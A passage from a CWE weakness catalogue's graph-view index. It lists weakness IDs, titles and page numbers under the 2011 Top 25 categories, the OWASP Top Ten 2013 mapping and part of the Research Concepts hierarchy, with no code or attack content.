  - B** CWE-805: Buffer Access with Incorrect Length Value (p.1585)
  - B** CWE-822: Untrusted Pointer Dereference (p.1604)
  - B** CWE-825: Expired Pointer Dereference (p.1612)
  - B** CWE-838: Inappropriate Encoding for Output Context (p.1641)
  - B** CWE-841: Improper Enforcement of Behavioral Workflow (p.1649)
- C** CWE-866: 2011 Top 25 - Porous Defenses (p.2165)
  - B** CWE-250: Execution with Unnecessary Privileges (p.568)
  - B** CWE-306: Missing Authentication for Critical Function (p.703)
  - B** CWE-307: Improper Restriction of Excessive Authentication Attempts (p.709)
  - G** CWE-311: Missing Encryption of Sensitive Data (p.718)
  - G** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
  - G** CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
  - V** CWE-759: Use of a One-Way Hash without a Salt (p.1474)
  - B** CWE-798: Use of Hard-coded Credentials (p.1573)
  - B** CWE-807: Reliance on Untrusted Inputs in a Security Decision (p.1595)
  - G** CWE-862: Missing Authorization (p.1657)
  - G** CWE-863: Incorrect Authorization (p.1664)
- C** CWE-865: 2011 Top 25 - Risky Resource Management (p.2165)
  - B** CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
  - B** CWE-131: Incorrect Calculation of Buffer Size (p.340)
  - B** CWE-134: Use of Externally-Controlled Format String (p.349)
  - B** CWE-190: Integer Overflow or Wraparound (p.453)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - B** CWE-494: Download of Code Without Integrity Check (p.1119)
  - B** CWE-676: Use of Potentially Dangerous Function (p.1394)
- C** CWE-864: 2011 Top 25 - Insecure Interaction Between Components (p.2164)
  - B** CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
  - B** CWE-434: Unrestricted Upload of File with Dangerous Type (p.991)
  - B** CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
  - B** CWE-829: Inclusion of Functionality from Untrusted Control Sphere (p.1621)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)

## Graph View: CWE-928: Weaknesses in OWASP Top Ten (2013)

- C** CWE-929: OWASP Top Ten 2013 Category A1 - Injection (p.2182)
  - G** CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p.133)
  - G** CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p.141)
  - B** CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p.147)
  - B** CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') (p.188)
  - B** CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p.195)
  - V** CWE-564: SQL Injection: Hibernate (p.1207)
  - B** CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p.207)
  - B** CWE-91: XML Injection (aka Blind XPath Injection) (p.209)
  - B** CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p.1336)
  - B** CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p.1351)
- C** CWE-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management (p.2183)
  - B** CWE-256: Plaintext Storage of a Password (p.583)
  - G** CWE-287: Improper Authentication (p.657)
  - G** CWE-311: Missing Encryption of Sensitive Data (p.718)
  - B** CWE-384: Session Fixation (p.887)
  - G** CWE-522: Insufficiently Protected Credentials (p.1157)
  - B** CWE-523: Unprotected Transport of Credentials (p.1161)
  - B** CWE-613: Insufficient Session Expiration (p.1291)
  - B** CWE-620: Unverified Password Change (p.1301)
  - B** CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p.1326)
- C** CWE-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS) (p.2183)
  - B** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p.159)
- C** CWE-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References (p.2184)
  - B** CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p.33)
  - G** CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p.235)
  - B** CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
  - G** CWE-706: Use of Incorrectly-Resolved Name or Reference (p.1439)
- C** CWE-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration (p.2184)
  - C** CWE-2: 7PK - Environment (p.2099)
  - C** CWE-16: Configuration (p.2100)
  - B** CWE-209: Generation of Error Message Containing Sensitive Information (p.510)
  - B** CWE-215: Insertion of Sensitive Information Into Debugging Code (p.527)
  - V** CWE-548: Exposure of Information Through Directory Listing (p.1189)
- C** CWE-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure (p.2184)
  - G** CWE-311: Missing Encryption of Sensitive Data (p.718)
  - B** CWE-312: Cleartext Storage of Sensitive Information (p.725)
  - B** CWE-319: Cleartext Transmission of Sensitive Information (p.740)
  - C** CWE-320: Key Management Errors (p.2112)
  - B** CWE-325: Missing Cryptographic Step (p.754)
  - G** CWE-326: Inadequate Encryption Strength (p.756)
  - G** CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p.758)
  - B** CWE-328: Use of Weak Hash (p.765)
- C** CWE-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control (p.2185)
  - G** CWE-285: Improper Authorization (p.649)
- C** CWE-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF) (p.2185)
  - B** CWE-352: Cross-Site Request Forgery (CSRF) (p.821)
- C** CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities (p.2186)

- CWE-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards (p.2186)
- CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)



## Graph View: CWE-1000: Research Concepts

- ⌵ |P| CWE-284: Improper Access Control (p.644)
  - ⊖ CWE-1191: On-Chip Debug and Test Interface With Improper Access Control (p.1833)
  - ⊖ CWE-1220: Insufficient Granularity of Access Control (p.1843)
  - ⊖ CWE-1222: Insufficient Granularity of Address Regions Protected by Register Locks (p.1848)
  - ⊖ CWE-1224: Improper Restriction of Write-Once Bit Fields (p.1851)
  - ⊖ CWE-1231: Improper Prevention of Lock Bit Modification (p.1855)
  - ⊖ CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection (p.1859)
  - ⊖ CWE-1242: Inclusion of Undocumented Features or Chicken Bits (p.1876)
  - ⊖ CWE-1252: CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations (p.1897)
  - ⊖ CWE-1257: Improper Access Control Applied to Mirrored or Aliased Memory Regions (p.1909)
  - ⊖ CWE-1259: Improper Restriction of Security Token Assignment (p.1913)
  - ⊖ CWE-1260: Improper Handling of Overlap Between Protected Memory Ranges (p.1915)
  - ⊖ CWE-1262: Improper Access Control for Register Interface (p.1920)
  - ⊕ CWE-1263: Improper Physical Access Control (p.1923)
    - ⊖ CWE-1243: Sensitive Non-Volatile Information Not Protected During Debug (p.1878)
  - ⊖ CWE-1267: Policy Uses Obsolete Encoding (p.1931)
  - ⊖ CWE-1268: Policy Privileges are not Assigned Consistently Between Control and Data Agents (p.1933)
  - ⊖ CWE-1270: Generation of Incorrect Security Tokens (p.1938)
  - ⊖ CWE-1274: Improper Access Control for Volatile Memory Containing Boot Code (p.1946)
  - ⊖ CWE-1276: Hardware Child Block Incorrectly Connected to Parent System (p.1950)
  - ⊖ CWE-1280: Access Control Check Implemented After Asset is Accessed (p.1958)
  - ⊖ CWE-1283: Mutable Attestation or Measurement Reporting Data (p.1963)
  - ⊖ CWE-1290: Incorrect Decoding of Security Identifiers (p.1976)
  - ⊖ CWE-1292: Incorrect Conversion of Security Identifiers (p.1980)
  - ⊕ CWE-1294: Insecure Security Identifier Mechanism (p.1983)
    - ⊖ CWE-1302: Missing Security Identifier (p.2001)
  - ⊖ CWE-1296: Incorrect Chaining or Granularity of Debug Components (p.1986)
  - ⊖ CWE-1304: Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation (p.2005)
  - ⊖ CWE-1311: Improper Translation of Security Attributes by Fabric Bridge (p.2009)
  - ⊖ CWE-1312: Missing Protection for Mirrored Regions in On-Chip Fabric Firewall (p.2011)
  - ⊖ CWE-1313: Hardware Allows Activation of Test or Debug Logic at Runtime (p.2013)
  - ⊖ CWE-1315: Improper Setting of Bus Controlling Capability in Fabric End-point (p.2017)
  - ⊖ CWE-1316: Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges (p.2019)
  - ⊖ CWE-1317: Improper Access Control in Fabric Bridge (p.2021)
  - ⊖ CWE-1320: Improper Protection for Outbound Error Messages and Alert Signals (p.2028)
  - ⊖ CWE-1323: Improper Management of Sensitive Trace Data (p.2034)
  - ⊖ CWE-1334: Unauthorized Error Injection Can Degrade Hardware Redundancy (p.2056)
  - ⊕ CWE-269: Improper Privilege Management (p.613)
    - ⊖ CWE-250: Execution with Unnecessary Privileges (p.568)
    - ⊖ CWE-266: Incorrect Privilege Assignment (p.605)
      - ⊖ CWE-1022: Use of Web Link to Untrusted Target with window.opener Access (p.1729)
      - ⊖ CWE-520: .NET Misconfiguration: Use of Impersonation (p.1154)
      - ⊖ CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation (p.1198)
      - ⊖ CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods (p.7)
    - ⊖ CWE-267: Privilege Defined With Unsafe Actions (p.608)
      - ⊖ CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p.1307)
    - ⊖ CWE-268: Privilege Chaining (p.611)
    - ⊖ CWE-270: Privilege Context Switching Error (p.618)
    - ⊕ CWE-271: Privilege Dropping / Lowering Errors (p.620)
      - ⊖ CWE-272: Least Privilege Violation (p.623)



- B CWE-273: Improper Check for Dropped Privileges (p.626)
- B CWE-274: Improper Handling of Insufficient Privileges (p.629)
- B CWE-648: Incorrect Use of Privileged APIs (p.1344)
- G CWE-282: Improper Ownership Management (p.641)
  - B CWE-283: Unverified Ownership (p.643)
  - B CWE-708: Incorrect Ownership Assignment (p.1442)
- G CWE-285: Improper Authorization (p.649)
  - B CWE-1230: Exposure of Sensitive Information Through Metadata (p.1855)
  - V CWE-202: Exposure of Sensitive Information Through Data Queries (p.495)
  - B CWE-612: Improper Authorization of Index Containing Sensitive Information (p.1290)
  - B CWE-1256: Improper Restriction of Software Interfaces to Hardware Features (p.1906)
  - B CWE-1297: Unprotected Confidential Information on Device is Accessible by OSAT Vendors (p.1989)
  - B CWE-1328: Security Version Number Mutable to Older Versions (p.2041)
  - B CWE-552: Files or Directories Accessible to External Parties (p.1193)
    - V CWE-219: Storage of File with Sensitive Data Under Web Root (p.529)
      - V CWE-433: Unparsed Raw Web Content Delivery (p.989)
    - V CWE-220: Storage of File With Sensitive Data Under FTP Root (p.530)
    - V CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere (p.1167)
    - V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p.1168)
    - V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p.1168)
    - V CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p.1169)
    - V CWE-539: Use of Persistent Cookies Containing Sensitive Information (p.1179)
    - V CWE-553: Command Shell in Externally Accessible Directory (p.1195)
  - G CWE-732: Incorrect Permission Assignment for Critical Resource (p.1445)
    - V CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag (p.1721)
    - B CWE-276: Incorrect Default Permissions (p.630)
    - V CWE-277: Insecure Inherited Permissions (p.634)
    - V CWE-278: Insecure Preserved Inherited Permissions (p.635)
    - V CWE-279: Incorrect Execution-Assigned Permissions (p.636)
    - B CWE-281: Improper Preservation of Permissions (p.640)
  - G CWE-862: Missing Authorization (p.1657)
    - B CWE-1314: Missing Write Protection for Parametric Data Values (p.2015)
    - B CWE-425: Direct Request ('Forced Browsing') (p.969)
    - G CWE-638: Not Using Complete Mediation (p.1322)
      - G CWE-424: Improper Protection of Alternate Path (p.968)
        - B CWE-425: Direct Request ('Forced Browsing') (p.969)
    - B CWE-939: Improper Authorization in Handler for Custom URL Scheme (p.1709)
  - G CWE-863: Incorrect Authorization (p.1664)
    - B CWE-1244: Internal Asset Exposed to Unsafe Debug Access Level or State (p.1879)
    - B CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p.1192)
    - B CWE-639: Authorization Bypass Through User-Controlled Key (p.1324)
      - V CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p.1211)
    - V CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p.1343)
    - B CWE-804: Guessable CAPTCHA (p.1584)
  - V CWE-926: Improper Export of Android Application Components (p.1704)
  - V CWE-927: Use of Implicit Intent for Sensitive Communication (p.1706)
  - G CWE-286: Incorrect User Management (p.656)
    - B CWE-842: Placement of User into Incorrect Group (p.1653)
  - G CWE-287: Improper Authentication (p.657)
    - G CWE-1390: Weak Authentication (p.2087)
      - G CWE-1391: Use of Weak Credentials (p.2089)
      - B CWE-1392: Use of Default Credentials (p.2091)

- B CWE-1393: Use of Default Password (p.2093)
- B CWE-1394: Use of Default Cryptographic Key (p.2095)
- B CWE-521: Weak Password Requirements (p.1154)
- V CWE-258: Empty Password in Configuration File (p.589)
- B CWE-798: Use of Hard-coded Credentials (p.1573)
- V CWE-259: Use of Hard-coded Password (p.591)
- V CWE-321: Use of Hard-coded Cryptographic Key (p.745)
- B CWE-262: Not Using Password Aging (p.600)
- B CWE-263: Password Aging with Long Expiration (p.602)
- B CWE-289: Authentication Bypass by Alternate Name (p.666)
- B CWE-290: Authentication Bypass by Spoofing (p.668)
- V CWE-291: Reliance on IP Address for Authentication (p.671)
- V CWE-293: Using Referer Field for Authentication (p.673)
- V CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p.817)
- B CWE-294: Authentication Bypass by Capture-replay (p.675)
- B CWE-301: Reflection Attack in an Authentication Protocol (p.695)
- B CWE-302: Authentication Bypass by Assumed-Immutable Data (p.697)
- B CWE-303: Incorrect Implementation of Authentication Algorithm (p.699)
- B CWE-304: Missing Critical Step in Authentication (p.700)
- B CWE-305: Authentication Bypass by Primary Weakness (p.702)
- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p.709)
- B CWE-308: Use of Single-factor Authentication (p.713)
- B CWE-309: Use of Password System for Primary Authentication (p.716)
- G CWE-522: Insufficiently Protected Credentials (p.1157)
- B CWE-256: Plaintext Storage of a Password (p.583)
- B CWE-257: Storing Passwords in a Recoverable Format (p.586)
- B CWE-260: Password in Configuration File (p.596)
- V CWE-13: ASP.NET Misconfiguration: Password in Configuration File (p.12)
- V CWE-258: Empty Password in Configuration File (p.589)
- V CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File (p.1197)
- B CWE-261: Weak Encoding for Password (p.598)
- B CWE-523: Unprotected Transport of Credentials (p.1161)
- B CWE-549: Missing Password Field Masking (p.1190)
- V CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p.1252)
- B CWE-603: Use of Client-Side Authentication (p.1275)
- B CWE-620: Unverified Password Change (p.1301)
- B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p.1326)
- B CWE-804: Guessable CAPTCHA (p.1584)
- B CWE-836: Use of Password Hash Instead of Password for Authentication (p.1639)
- B CWE-295: Improper Certificate Validation (p.677)
- B CWE-296: Improper Following of a Certificate's Chain of Trust (p.682)
- V CWE-297: Improper Validation of Certificate with Host Mismatch (p.684)
- V CWE-298: Improper Validation of Certificate Expiration (p.688)
- B CWE-299: Improper Check for Certificate Revocation (p.690)
- V CWE-370: Missing Check for Certificate Revocation after Initial Check (p.868)
- V CWE-599: Missing Validation of OpenSSL Certificate (p.1263)
- B CWE-306: Missing Authentication for Critical Function (p.703)
- B CWE-288: Authentication Bypass Using an Alternate Path or Channel (p.664)
- B CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface (p.1993)
- B CWE-425: Direct Request ('Forced Browsing') (p.969)
- B CWE-322: Key Exchange without Entity Authentication (p.749)
- B CWE-645: Overly Restrictive Account Lockout Mechanism (p.1340)
- G CWE-346: Origin Validation Error (p.808)

- V CWE-1385: Missing Origin Validation in WebSockets (p.2080)
- B CWE-749: Exposed Dangerous Method or Function (p.1456)
- B CWE-618: Exposed Unsafe ActiveX Method (p.1299)
- V CWE-782: Exposed IOCTL with Insufficient Access Control (p.1534)
- G CWE-923: Improper Restriction of Communication Channel to Intended Endpoints (p.1700)
- V CWE-1275: Sensitive Cookie with Improper SameSite Attribute (p.1948)
- V CWE-291: Reliance on IP Address for Authentication (p.671)
- V CWE-297: Improper Validation of Certificate with Host Mismatch (p.684)
- G CWE-300: Channel Accessible by Non-Endpoint (p.692)
- B CWE-419: Unprotected Primary Channel (p.962)
- B CWE-420: Unprotected Alternate Channel (p.963)
- B CWE-1299: Missing Protection Mechanism for Alternate Hardware Interface (p.1993)
- B CWE-421: Race Condition During Access to Alternate Channel (p.965)
- V CWE-422: Unprotected Windows Messaging Channel ('Shatter') (p.966)
- B CWE-940: Improper Verification of Source of a Communication Channel (p.1712)
- V CWE-925: Improper Verification of Intent by Broadcast Receiver (p.1702)
- B CWE-941: Incorrectly Specified Destination in a Communication Channel (p.1715)
- V CWE-942: Permissive Cross-domain Policy with Untrusted Domains (p.1717)
- P| CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities (p.998)
- G CWE-1038: Insecure Automated Optimizations (p.1737)
- B CWE-1037: Processor Optimization Removal or Modification of Security-critical Code (p.1736)
- B CWE-733: Compiler Optimization Removal or Modification of Security-critical Code (p.1454)
- V CWE-14: Compiler Removal of Code to Clear Buffers (p.14)
- B CWE-188: Reliance on Data/Memory Layout (p.451)
- B CWE-198: Use of Incorrect Byte Ordering (p.483)
- G CWE-436: Interpretation Conflict (p.1000)
- V CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') (p.263)
- B CWE-115: Misinterpretation of Input (p.271)
- B CWE-437: Incomplete Model of Endpoint Features (p.1002)
- B CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (p.1009)
- V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p.1312)
- V CWE-650: Trusting HTTP Permission Methods on the Server Side (p.1348)
- V CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p.185)
- B CWE-439: Behavioral Change in New Version or Environment (p.1003)
- P| CWE-664: Improper Control of a Resource Through its Lifetime (p.1367)
- G CWE-118: Incorrect Access of Indexable Resource ('Range Error') (p.282)
- G CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p.283)
- B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p.294)
- V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p.1542)
- B CWE-125: Out-of-bounds Read (p.316)
- V CWE-126: Buffer Over-read (p.320)
- V CWE-127: Buffer Under-read (p.323)
- B CWE-466: Return of Pointer Value Outside of Expected Range (p.1049)
- B CWE-680: Integer Overflow to Buffer Overflow (p.1398)
- B CWE-786: Access of Memory Location Before Start of Buffer (p.1544)
- B CWE-124: Buffer Underwrite ('Buffer Underflow') (p.313)
- V CWE-127: Buffer Under-read (p.323)
- B CWE-787: Out-of-bounds Write (p.1547)
- V CWE-121: Stack-based Buffer Overflow (p.303)
- V CWE-122: Heap-based Buffer Overflow (p.307)
- B CWE-123: Write-what-where Condition (p.310)
- B CWE-124: Buffer Underwrite ('Buffer Underflow') (p.313)
- B CWE-788: Access of Memory Location After End of Buffer (p.1555)
- V CWE-121: Stack-based Buffer Overflow (p.303)

- V CWE-122: Heap-based Buffer Overflow (p.307)
- V CWE-126: Buffer Over-read (p.320)
- B CWE-805: Buffer Access with Incorrect Length Value (p.1585)
- V CWE-806: Buffer Access Using Size of Source Buffer (p.1592)
- B CWE-822: Untrusted Pointer Dereference (p.1604)
- B CWE-823: Use of Out-of-range Pointer Offset (p.1606)
- B CWE-824: Access of Uninitialized Pointer (p.1609)
- B CWE-825: Expired Pointer Dereference (p.1612)
- V CWE-415: Double Free (p.954)
- V CWE-416: Use After Free (p.958)
- C CWE-1229: Creation of Emergent Resource (p.1854)
  - C CWE-514: Covert Channel (p.1151)
  - B CWE-385: Covert Timing Channel (p.890)
  - B CWE-515: Covert Storage Channel (p.1152)
- B CWE-1250: Improper Preservation of Consistency Between Independent Representations of Shared State (p.1893)
  - B CWE-1249: Application-Level Admin Tool with Inconsistent View of Underlying Operating System (p.1891)
  - B CWE-1251: Mirrored Regions with Different Values (p.1894)
- B CWE-1329: Reliance on Component That is Not Updateable (p.2043)
  - B CWE-1277: Firmware Not Updateable (p.1952)
  - B CWE-1310: Missing Ability to Patch ROM Code (p.2008)
- C CWE-221: Information Loss or Omission (p.531)
  - B CWE-222: Truncation of Security-relevant Information (p.532)
  - B CWE-223: Omission of Security-relevant Information (p.533)
  - B CWE-778: Insufficient Logging (p.1525)
  - B CWE-224: Obscured Security-relevant Information by Alternate Name (p.535)
  - B CWE-356: Product UI does not Warn User of Unsafe Actions (p.832)
  - B CWE-396: Declaration of Catch for Generic Exception (p.908)
  - B CWE-397: Declaration of Throws for Generic Exception (p.910)
  - C CWE-451: User Interface (UI) Misrepresentation of Critical Information (p.1020)
    - B CWE-1007: Insufficient Visual Distinction of Homoglyphs Presented to User (p.1724)
    - B CWE-1021: Improper Restriction of Rendered UI Layers or Frames (p.1727)
- B CWE-372: Incomplete Internal State Distinction (p.870)
- C CWE-400: Uncontrolled Resource Consumption (p.912)
  - B CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations (p.1863)
  - B CWE-1246: Improper Write Handling in Limited-write Non-Volatile Memories (p.1884)
  - B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
    - B CWE-1325: Improperly Controlled Sequential Memory Allocation (p.2035)
    - V CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling (p.1518)
    - V CWE-789: Memory Allocation with Excessive Size Value (p.1558)
  - B CWE-771: Missing Reference to Active Allocated Resource (p.1510)
    - V CWE-773: Missing Reference to Active File Descriptor or Handle (p.1517)
  - B CWE-779: Logging of Excessive Data (p.1529)
  - B CWE-920: Improper Restriction of Power Consumption (p.1696)
- C CWE-404: Improper Resource Shutdown or Release (p.927)
  - B CWE-1266: Improper Scrubbing of Sensitive Data from Decommissioned Device (p.1930)
  - B CWE-299: Improper Check for Certificate Revocation (p.690)
    - V CWE-370: Missing Check for Certificate Revocation after Initial Check (p.868)
  - B CWE-459: Incomplete Cleanup (p.1038)
    - B CWE-226: Sensitive Information in Resource Not Removed Before Reuse (p.536)
      - V CWE-1239: Improper Zeroization of Hardware Register (p.1868)
      - B CWE-1272: Sensitive Information Uncleared Before Debug/Power State Transition (p.1942)
      - B CWE-1301: Insufficient or Incomplete Data Removal within Hardware Component (p.2000)



- V CWE-1330: Remanent Data Readable after Memory Erase (p.2045)
- B CWE-1342: Information Exposure through Microarchitectural State after Transient Execution (p.2071)
- V CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') (p.561)
- B CWE-460: Improper Cleanup on Thrown Exception (p.1041)
- V CWE-568: finalize() Method Without super.finalize() (p.1215)
- B CWE-763: Release of Invalid Pointer or Reference (p.1488)
- V CWE-761: Free of Pointer not at Start of Buffer (p.1481)
- V CWE-762: Mismatched Memory Management Routines (p.1485)
- V CWE-590: Free of Memory not on the Heap (p.1248)
- B CWE-772: Missing Release of Resource after Effective Lifetime (p.1512)
- B CWE-1091: Use of Object without Invoking Destructor Method (p.1792)
- V CWE-401: Missing Release of Memory after Effective Lifetime (p.921)
- V CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime (p.1519)
- C CWE-405: Asymmetric Resource Consumption (Amplification) (p.933)
- B CWE-1050: Excessive Platform Resource Consumption within a Loop (p.1750)
- B CWE-1072: Data Resource Access without Use of Connection Pooling (p.1773)
- B CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses (p.1774)
- B CWE-1084: Invokable Control Element with Excessive File or Data Access Operations (p.1784)
- B CWE-1089: Large Data Table with Excessive Number of Indices (p.1789)
- B CWE-1094: Excessive Index Range Scan for a Data Resource (p.1794)
- C CWE-1176: Inefficient CPU Computation (p.1826)
- V CWE-1042: Static Member Data Element outside of a Singleton Class Element (p.1742)
- B CWE-1046: Creation of Immutable Text Using String Concatenation (p.1746)
- B CWE-1049: Excessive Data Query Operations in a Large Data Table (p.1749)
- B CWE-1063: Creation of Class Instance within a Static Code Block (p.1764)
- B CWE-1067: Excessive Execution of Sequential Searches of Data Resource (p.1768)
- C CWE-406: Insufficient Control of Network Message Volume (Network Amplification) (p.937)
- C CWE-407: Inefficient Algorithmic Complexity (p.939)
- B CWE-1333: Inefficient Regular Expression Complexity (p.2053)
- B CWE-408: Incorrect Behavior Order: Early Amplification (p.942)
- B CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p.943)
- B CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p.1521)
- B CWE-410: Insufficient Resource Pool (p.945)
- B CWE-471: Modification of Assumed-Immutable Data (MAID) (p.1060)
- V CWE-291: Reliance on IP Address for Authentication (p.671)
- B CWE-472: External Control of Assumed-Immutable Web Parameter (p.1062)
- V CWE-473: PHP External Variable Modification (p.1066)
- V CWE-607: Public Static Final Field References Mutable Object (p.1280)
- B CWE-487: Reliance on Package-level Scope (p.1102)
- V CWE-495: Private Data Structure Returned From A Public Method (p.1123)
- V CWE-496: Public Data Assigned to Private Array-Typed Field (p.1125)
- B CWE-501: Trust Boundary Violation (p.1135)
- V CWE-580: clone() Method Without super.clone() (p.1234)
- C CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p.1285)
- B CWE-15: External Control of System or Configuration Setting (p.17)
- C CWE-384: Session Fixation (p.887)
- C CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p.1005)
- B CWE-1021: Improper Restriction of Rendered UI Layers or Frames (p.1727)
- B CWE-918: Server-Side Request Forgery (SSRF) (p.1694)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p.1057)
- B CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p.1266)

- B CWE-611: Improper Restriction of XML External Entity Reference (p.1286)
- B CWE-73: External Control of File Name or Path (p.128)
  - C CWE-114: Process Control (p.268)
- C CWE-662: Improper Synchronization (p.1363)
  - B CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element (p.1758)
  - B CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p.1365)
    - V CWE-479: Signal Handler Use of a Non-reentrant Function (p.1084)
    - V CWE-558: Use of getlogin() in Multithreaded Application (p.1199)
  - C CWE-667: Improper Locking (p.1375)
    - B CWE-1232: Improper Lock Behavior After Power State Transition (p.1857)
    - B CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection (p.1859)
    - B CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks (p.1861)
    - B CWE-412: Unrestricted Externally Accessible Lock (p.947)
    - B CWE-413: Improper Resource Locking (p.950)
      - V CWE-591: Sensitive Data Storage in Improperly Locked Memory (p.1251)
    - B CWE-414: Missing Lock Check (p.953)
    - B CWE-609: Double-Checked Locking (p.1283)
    - B CWE-764: Multiple Locks of a Critical Resource (p.1493)
    - B CWE-765: Multiple Unlocks of a Critical Resource (p.1494)
    - B CWE-832: Unlock of a Resource that is not Locked (p.1631)
    - B CWE-833: Deadlock (p.1632)
  - B CWE-820: Missing Synchronization (p.1601)
    - V CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization (p.1796)
    - V CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p.1183)
    - B CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p.1213)
  - B CWE-821: Incorrect Synchronization (p.1603)
    - B CWE-1088: Synchronous Access of Remote Resource without Timeout (p.1788)
    - B CWE-1264: Hardware Logic with Insecure De-Synchronization between Control and Data Channels (p.1924)
      - V CWE-572: Call to Thread run() instead of start() (p.1221)
      - V CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p.1224)
- C CWE-665: Improper Initialization (p.1368)
  - B CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data (p.1751)
  - B CWE-1052: Excessive Use of Hard-Coded Literals in Initialization (p.1752)
  - B CWE-1188: Insecure Default Initialization of Resource (p.1828)
    - V CWE-453: Insecure Default Variable Initialization (p.1024)
  - B CWE-1221: Incorrect Register Defaults or Module Parameters (p.1845)
  - B CWE-1279: Cryptographic Operations are run Before Supporting Units are Ready (p.1956)
  - B CWE-454: External Initialization of Trusted Variables or Data Stores (p.1025)
  - B CWE-455: Non-exit on Failed Initialization (p.1028)
  - B CWE-770: Allocation of Resources Without Limits or Throttling (p.1502)
    - B CWE-1325: Improperly Controlled Sequential Memory Allocation (p.2035)
    - V CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling (p.1518)
    - V CWE-789: Memory Allocation with Excessive Size Value (p.1558)
  - B CWE-908: Use of Uninitialized Resource (p.1669)
    - V CWE-457: Use of Uninitialized Variable (p.1034)
  - B CWE-909: Missing Initialization of Resource (p.1673)
    - B CWE-1271: Uninitialized Value on Reset for Registers Holding Security Settings (p.1940)
    - V CWE-456: Missing Initialization of a Variable (p.1029)
- C CWE-666: Operation on Resource in Wrong Phase of Lifetime (p.1374)
  - V CWE-415: Double Free (p.954)
